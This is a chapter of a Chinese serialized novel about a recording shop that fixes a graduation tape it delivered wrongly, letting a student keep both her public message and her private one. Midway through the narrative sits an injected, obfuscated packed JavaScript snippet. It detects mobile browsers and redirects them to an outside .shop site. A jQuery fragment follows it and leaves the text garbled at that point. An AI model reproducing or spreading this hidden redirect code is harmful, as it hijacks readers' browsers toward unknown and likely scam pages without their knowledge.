双卡录音机搬上柜台后的第三天，红叶开始交付第一批毕业留言带。
十二盘磁带按班级和学号排成一列，外壳上贴着周念安写的标签。梁潮生负责最后试听，梁潮平负责把塑料盒擦干净，擦到第五只便开始嫌活太细。
“这又不会影响声音。”
梁潮生头也没抬：“你饭盒外面沾着油，也不影响吃饭。”
“那不一样。”
“哪里不一样？”
梁潮平想了半天：“饭盒是我的。”
“磁带是客人的，所以更得擦。”
梁潮平没话了，只能继续拿布蹭盒角。
陈斌是第一个来取的。
他站在柜台前，把自己的磁带从头听到尾，确认里面只有十五秒版本，仍旧不死心。
“我那四十二秒真的没留？”
“没有。”
“你们做录音生意，怎么能随便删掉客人的声音？”
周念安翻开确认单：“你重录以后，亲手在十五秒版本后面签了字。”
陈斌看着自己的签名，沉痛地说：“那天的我太年轻。”
梁潮生把磁带盒塞回他手里：“昨天。”
“人的成长有时候就发生在一天之内。”
他抱着磁带走了，临出门还问，十年后能不能来补录四十二秒。
梁潮生答：“到时候按新价格收。”
上午交出去六盘，都没出问题。
第七位来的是许秀琴。
她把磁带放到柜台上，没有像其他人一样问能不能试听，也没拆外面的纸套，只说：“我想退。”
周念安抬头：“机器有杂音？”
“没有。”
“磁带坏了？”
“也没有。”
许秀琴将纸套拆开，把磁带送进录音机，按下播放键。
一阵短暂的空白后，她自己的声音传出来：
“十年后的许秀琴，希望你立足岗位，踏实工作，成为一名优秀的纺织女工，为工厂建设贡献自己的力量。”
声音清楚，速度也正常。
梁潮生听完，看向磁带盒上的编号。
“这是你的公开版。”
“我订的不是这个。”
周念安立刻抽出订单。
许秀琴的名字后面写着：自备磁带，个人版一份。
最右侧还有一行小字：
保留第一次录音。
字写得不大，却很清楚。
梁潮生脸上的轻松消失了。
第一批个人带是从毕业典礼公开母带上统一复制的。订单只按班级和学号排了顺序，没有单独标出谁要公开版，谁要原始录音。他复制时看见许秀琴的名字在公开母带里，便直接转了过去。
机器没出错。
标签没贴错。
错在他拿错了声音。
“这盘是我们做错了。”他说，“给你重新录一份，不收钱。”
许秀琴摇头：“算了，退掉吧。”
“你第一次录的还在班级原带里。”
“我知道。”
“那为什么不要？”
她没回答，手指在柜台边缘轻轻刮了一下。
许秀琴平时话不多，坐在班里靠窗的位置，画几何题时总把直线画得很直。她的课本空白处却常常不是公式，而是衣领、袖口和裙摆。有时只画半件，有时会在旁边写“这里收窄”“换小碎花”。
周念秋见过她的本子，还夸过一句，说她比百货商店里有些卖衣服的人更懂款式。
梁潮生将录音机关掉。
“公开版是谁让你重录的？”
“班主任说原来那段不适合毕业典礼。”
“你原来说了什么？”
许秀琴低着头：“也没什么。”
周念安把订单放到她面前。
“要退可以，订金全退。可我们得先确认原带里的内容有没有损坏。”
许秀琴看了她一眼。
“你们会放给学校听吗？”
“不会。”
“老师要是问呢？”
“个人原声不属于毕业典礼公开版。”周念安说，“你同意公开哪一段，学校就只能用哪一段。”
许秀琴沉默了很久，终于坐下。
周念安取出银色钥匙，打开柜台下方的抽屉。高三四班原带保存得很好，每段录音前都有编号。她找到许秀琴第一次录制的位置，将磁带放进左侧卡槽。
滋啦一声。
许秀琴的声音比公开版轻一些，也更紧张。
“十年后的许秀琴，你要是还在布检台前，也别把画衣服的本子扔了。”
柜台前的人都没说话。
“要是你已经去了南方，就给妈寄一块最好看的布。她总说花布穿着显胖，其实她每次路过柜台都会多看两眼。”
录音到这里，停顿了一下。
“还有，别因为没考上，就觉得自己什么都不配想。”
声音结束。
磁带仍旧转着，留下一小段细微的底噪。
许秀琴低着头，眼泪落在手背上。她很快擦掉，像嫌自己在别人面前哭得难看。
梁潮平站在一旁，不敢再擦磁带盒擦出动静。
过了一会儿，许秀琴说：“我妈已经托人给我找好布检组的工作了。毕业以后就去。”
“你不想去？”周念安问。
“也不是。”
许秀琴捏着自己的袖口。
“家里为了这个位置送了不少礼，我妈天天说我运气好。布检组比车间轻省，工资也稳定。她没有害我。”
她说完，抬头看向录音机。
“可老师听见我说南方，觉得像嫌弃工厂。她说毕业典礼要积极一点，让我重新录。我就录了。”
梁潮生靠在柜台旁：“那这两段，你觉得哪段是真的？”
许秀琴怔住。
她大概以为他会说第一次才是真的，第二次只是说给老师听的。
可她想了半天，低声说：“都算吧。”
她确实会去布检组，也打算好好工作。
她也确实不想把画衣服的本子扔掉。
一个是她马上要过的日子，一个是她不敢让日子压没的念头。两句话放在一起有些拧巴，却没有哪一句完全是假。
梁潮生拿起那盘需要退掉的磁带，看了看正反两面。
“那就一面录一段。”
许秀琴抬头：“什么？”
“磁带又不是只有一面。”他说，“A面放公开版，B面放你第一次说的。你想给别人听，就放A面；你自己想听，就翻过来。”
周念安想了片刻，点头：“可以。但标签要写清楚，免得以后放错。”
梁潮生已经拿出两张小贴纸。
一张写：
A面：公开留言。
另一张写：
B面：个人原声，未经同意不公开。
他的字仍旧不算漂亮，却写得很认真。
许秀琴看着那两张标签，眼圈又有些红。
“要加钱吗？”
“不加。”梁潮生说，“第一次就是我们交错了。”
“可这等于多录一面。”
“那是修正交付，不是加业务。”
这句话显然是跟周念安学的。
她看了他一眼，没有纠正。
转录需要十几分钟。
许秀琴坐在长凳上等，手里一直攥着那本画满衣服的练习册。周念秋恰好来送丝巾，看见她，顺手翻了几页。
“这件衬衣不错。”
许秀琴有些不好意思：“随便画的。”
“腰这里再收一点，领子别做这么高。”周念秋拿铅笔在旁边轻轻勾了两笔，“南方现在时兴的款式，颜色比咱们这儿大胆。你真想学，光自己画还不够，得多看。”
许秀琴问：“去哪里看？”
“百货商店的新货，画报，南边来的人穿什么，都能看。”周念秋把本子还给她，“先上班挣钱。晚上有空就画，谁规定进布检组以后不能再学别的？”
许秀琴抱住练习册，用力点了一下头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771530|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
转录完成后，梁潮生从头检查两面。
A面里，她要成为一名踏实工作的纺织女工。
B面里，她提醒十年后的自己，别扔掉那本画衣服的本子。
两段声音都被留下了。
许秀琴没有再提退订。
她把磁带装进书包，走到门口又回头：“十年以后，这盘要是坏了，原来的还在吗？”
周念安说：“在。”
“那我能回来再录一份？”
梁潮生靠着柜台：“店在就行。”
许秀琴笑了。
“那你们别关门。”
她走后，周念安重新核对剩下五盘磁带。
其中还有两个人在订单上注明要原始录音，却被复制成了毕业典礼公开版。一个人的原话里提到父母吵架后，希望十年后的家还能在一起；另一个说自己不想进厂，想去学厨师。
这些内容不适合在礼堂播放。
可个人订购时，他们要的恰恰是自己最初说过的话。
梁潮生将已经包装好的磁带重新拆开。
“全部重做。”
韩师傅问：“都还没来取，也没人知道。”
梁潮生低头撕掉旧标签。
“我们知道。”
三盘磁带重新转录，耗掉了一整个下午。
周念安把损耗记进账本：
个人留言带版本核对错误，重录三盘。操作人：梁潮生，复核人：周念安。
梁潮生看到她也写了自己的名字，抬起眼。
“你怎么也算？”
“订单表是我做的，没单列版本。”
“复制是我做的。”
“流程是两个人的。”
他没再争，在旁边签了字。
随后，两人重新设计订单。
姓名和班级后面，不再只写“个人版”，而是分成三栏：
毕业典礼公开版。
第一次个人原声。
两版均保留。
最下方多了一行：
订购人确认，转录人签字，复核人签字。
梁潮平看着新表格，忍不住问：“为什么不都录两面？省得选。”
周念安说：“有人只想留公开版。”
“为什么？”
“因为有些话说过以后会后悔。”
“那删了不就行了？”
梁潮生将最后一盘磁带放进盒子。
“也有人后悔的不是说过。”
他说。
“是当时没敢留。”
晚上关门前，许秀琴又跑回来一趟。
她没有进门，只从外面递进一张折起来的纸。
“周念秋姐让我画一张红叶照相馆春天可以穿的衬衣，说你们以后拍结婚照能借给客人。”
纸上画着一件领口别致的女式衬衣，旁边写了布料、扣子和收腰的位置。线条还有些生涩，却已经很像一张正经样稿。
周念秋站在巷口朝他们挥手：“先别给钱！做出来有人穿再算！”
许秀琴红着脸跑了。
周念安将样稿压进账本。
“这也要登记？”梁潮生问。
“要。”
“登记什么？”
她想了想，在新的一页写下：
客用服装样稿一号，设计：许秀琴。
梁潮生看着那个名字。
“以后真做出来，得给她钱。”
“嗯。”
“按件，还是按样子？”
“到时候跟她谈。”
他笑了一下：“周厂长现在连十年后的工钱都开始算了。”
周念安合上账本。
“先把明天算清楚。”
门外春风穿过旧巷。
许秀琴已经走远，书包里装着一盘有两面的磁带。
她明天仍会去布检组报到。
至于以后会不会去南方，能不能画出真正穿在人身上的衣服，谁也不知道。
可至少，她没有在毕业以前，就被迫把另一种可能从自己的声音里抹掉。